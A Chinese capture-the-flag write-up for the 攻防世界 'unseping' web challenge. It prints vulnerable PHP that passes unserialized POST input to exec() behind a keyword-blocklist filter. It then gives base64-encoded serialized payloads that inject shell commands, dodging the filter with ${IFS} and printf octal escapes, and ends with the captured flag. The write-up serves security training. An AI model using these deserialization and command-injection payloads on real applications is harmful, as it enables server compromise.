113,【5】 功防世界 web unseping

进入靶场

代码审计

php 复制代码
<?php
// 高亮显示当前 PHP 文件的源代码,方便开发者查看代码结构和内容
highlight_file(__FILE__);

// 定义一个名为 ease 的类
class ease {
    // 私有属性 $method,用于存储要调用的方法名
    private $method;
    // 私有属性 $args,用于存储调用方法时传递的参数
    private $args;

    // 构造函数,在创建类的对象时自动调用
    // 接收两个参数:$method 表示要调用的方法名,$args 表示调用方法时传递的参数数组
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 检查 $this->method 是否在数组 ["ping"] 中
        // 如果存在,则调用 call_user_func_array 函数来动态调用对象的指定方法,并传递相应的参数
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    // 定义一个名为 ping 的方法,用于执行系统命令
    // 接收一个参数 $ip,通常是一个 IP 地址
    function ping($ip) {
        // 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
        exec($ip, $result);
        // 使用 var_dump 函数输出 $result 数组的详细信息
        var_dump($result);
    }

    // 定义一个名为 waf 的方法,用于进行简单的 Web 应用防火墙(WAF)过滤
    // 接收一个参数 $str,表示要过滤的字符串
    function waf($str) {
        // 使用 preg_match_all 函数进行正则表达式匹配
        // 正则表达式 "/(\||&|;| |\/|cat|flag|tac|php|ls)/" 用于匹配一些危险字符和关键字
        // 如果没有匹配到任何内容,则返回原始字符串
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            // 如果匹配到了危险字符或关键字,则输出 "don't hack" 提示信息
            echo "don't hack";
        }
    }

    // __wakeup 魔术方法,在对象被反序列化时自动调用
    function __wakeup() {
        // 遍历 $this->args 数组,对每个元素应用 waf 方法进行过滤
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
// @ 符号用于抑制可能出现的错误信息
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 Base64 解码,然后进行反序列化操作
// @ 符号同样用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>

需要通过 POST 请求传递一个经过 Base64 编码的序列化对象给参数ctf

1,

php 复制代码
<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
?>

别问为什么不直接在php代码里转换为base64,我的php运行工具不太行

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"ls";}}

复制代码

Tzo0OiJlYXNlIjoyOntzOjEyOiJlYXNlbWV0aG9kIjtzOjQ6InBpbmciO3M6MTA6ImVhc2VhcmdzIjthOjE6e2k6MDtzOjI6ImxzIjt9fQ==

2,

得知了有个flag_1s_here文件,查看一下

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

3,

查看flag_831b69012c67b35f.php

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{a54274ce8db23eaf3f848c4099bc22eb}

相关推荐
宝山哥哥29 分钟前
网络信息安全学习笔记1----------网络信息安全概述
网络·笔记·学习·安全·网络安全
电池保护板测试仪厂家2 小时前
电池充放电容量检测:守护电动出行设备动力核心的安全防线
科技·安全·能源·制造·零售·交通物流
深盾科技4 小时前
.NET 安全之 JIT 保护技术深度解析
安全·.net
LjQ20404 小时前
Java的一课一得
java·开发语言·后端·web
wt_cs8 小时前
身份证识别api-便捷生活与安全社会的双重保障
安全·生活
斯普信专业组10 小时前
Zookeeper添加SASL安全认证 修复方案
安全·zookeeper·debian
Qdgr_10 小时前
传统报警难题频现,安全运行隐患重重
大数据·人工智能·安全
无锡布里渊11 小时前
分布式光纤传感:为储能安全保驾护航
安全·温度监测·安全预警·分布式光纤测温·线性感温火灾监测·线型感温火灾探测器
黄焖鸡能干四碗11 小时前
系统安全设计方案,软件系统安全设计方案
开发语言·数据库·安全·vue·系统安全
制造数字化方案研究院11 小时前
54页|PPT|新型数字政府综合解决方案:“一网 一云 一中台 N应用”平台体系 及“安全+运营”服务体系
安全